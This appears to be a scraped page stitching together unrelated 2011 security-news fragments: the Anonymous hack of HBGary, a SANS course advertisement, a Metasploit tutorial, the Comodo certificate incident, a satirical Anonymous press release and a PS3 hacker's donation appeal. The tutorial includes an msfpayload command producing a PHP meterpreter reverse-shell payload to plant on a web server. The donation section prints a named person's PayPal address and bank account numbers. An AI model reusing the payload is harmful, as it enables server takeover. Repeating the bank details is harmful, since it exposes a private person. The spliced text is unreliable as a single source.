Anonymous speaks: the inside story It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group's actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year. When Barr told one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HBGary's servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. Over the last week, I've talked to some of those who participated in the HBGary hack to learn in detail how they penetrated HBGary's defenses and gave the company such a stunning black eye—and what the HBGary example means for the rest of us mere mortals who use the Internet. Anonymous: more than kids Time for an injection
SANS Secure Europe: In-depth information security training Posted on 03 March 2011. SANS Secure Europe Amsterdam is the second biggest event outside of the US offering 8 top level courses. What makes SANS Secure Europe Amsterdam a unique event is that these classes run over two weeks, with 4 each week, giving you a chance to make the most of your travel budget and build your knowledge with two classes, one after the other. Here are the classes running at SANS Secure Europe Amsterdam, and the instructors teaching them: SEC401: SANS Security Essentials Bootcamp Style with Jim Herbeck In this course you will learn the language and underlying theory of computer security. At the same time you will learn the essential, up-to-the-minute knowledge and skills required for effective performance if you are given the responsibility for securing systems and/or organizations. FOR558: Network Forensics with Jess Garcia This course will teach you to how to follow the attacker's footprints and analyze evidence from the network environment.
Barr resigns over Anon hack High performance access to file storage HBGary Federal chief exec Aaron Barr has resigned in a bid to allow the firm to draw a line under the continuing revelations from the Anonymous hack attack. Barr was the prime mover in plans to out senior members of Anonymous at the B-Sides security conference last month. But hunter became hunted after the more skilled members of Anonymous hacked into HBGary Federal's computer network before publishing its email database. The emails included the revelation that Morgan Stanley, a HBGary client, was hit by the Operation Aurora attacks of late 2009, as well as messages that purported to show HBGary was planning a dirty tricks campaign against WikiLeaks. HBGary, while admitting it was hacked and not denying the authenticity of any particular message, has said that the notorious mischief maker at Anonymous had plenty of opportunity to alter the published emails.
Knoppix Linux Boot CD, Download Disk and Documents, Discuss, Get Help BoA Fraud & Corruption Docs. PHP meterpreter payload - #!/zitstif.no-ip.org/ Today I’ll be showing a new feature that has just been added to the Metasploit framework. When one can upload files to a www directory and want further leverage on the system, they may want to do this via PHP in some way. PHP shells are a viable solution for this problem, if certain parameters are met. One parameter that must be met, is that the server must allow system commands through PHP. If you surf around on the internet looking for PHP shells, you’ll find ones such as: c99.php, DXshell.php. Now as part of the Metasploit framework, pentesters can now use meterpreter as a php payload. msfpayload php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > mypayload.php With this file you can use it on the web server to get a reverse connection. On the attacker’s end all you have to do is setup msfconsole and use the multi/handler. More to come as usual…
Anonymous retaliates Iranian hackers obtain fraudulent HTTPS certificates: How close to a Web security meltdown did we get? On March 15th, an HTTPS/TLS Certificate Authority (CA) was tricked into issuing fraudulent certificates that posed a dire risk to Internet security. Based on currently available information, the incident got close to — but was not quite — an Internet-wide security meltdown. As this post will explain, these events show why we urgently need to start reinforcing the system that is currently used to authenticate and identify secure websites and email systems. There is a post up on the Tor Project's blog by Jacob Appelbaum, analyzing the revocation of a number of HTTPS certificates last week. The answer was the UserTrust "UTN-USERFirst-Hardware" certificate owned by Comodo, one of the largest CAs on the web. Comodo also said that the attack came primarily from Iranian IP addresses, and that one of the fraudulent login.yahoo.com certs was briefly deployed on a webserver in Iran. What should we do about these attacks? Cross-checking the work of CAs Most Certificate Authorities do good work.
Anonymous Press Release Anonymous Concedes Defeat - Press Release - 06/02/2011 Anonymous Concedes Defeat A recent article in the Financial Times (click to read) cites a certain Aaron Barr of the “security services” firm HBGay Federal (amirite?) as claiming to have discovered the identities of Anonymous’ operating leadership and founder, with this having been accomplished in large part by an infiltration of our entirely secret IRC server anonops.ru and in particular our ultra-clasified channels #opegypt, #optunisia, and, of course, #reporters, which itself is the most secret of all. The following message was relayed to all Anons possessing at least 30 degrees of initiate status (17 in Scotland) or their equivalent in reddit karma, and is being leaked to the laity in an effort to gain their useless sympathy: Mr. As Mr. At this point, it is safe to assume that the underground server sites at the North Pole have been compromised as well. All Hail Xenu, -Anonymous
Help graf_chokolo to fight against SONY | graf_chokolo UPDATE from Dukio: Sony forced us to remove everything or graf_chokolo will going to jail. We can only get the donation page up for the time being. Guys, i never wanted to take money from anybody for my work. And i always shared my work and code with PS3 developers and community. Recently i was working on bringing Linux to PS3 back, as you all know, unfortunately SONY managed to stop me. Many of you offered donations to help me continue my work and i always declined as you know. Here is my PayPal account: egorenar@gmail.com And here is my bank account for direct transactions: Alexander Egorenkov Bank account:3726068 BLZ:60050101 BIC-/SWIFT-Code: SOLADEST IBAN: DE62600501010003726068 Please donate as much as you can and want. Guys, just to make sure, my paypal account is OK again. But who wants to sponsor my OtherOS and PS3 development, can donate here, i say to hell with SONY (it’s another paypal account which SONY cannot take away):
Penny on IRC sebastianbergmann/phpcpd - GitHub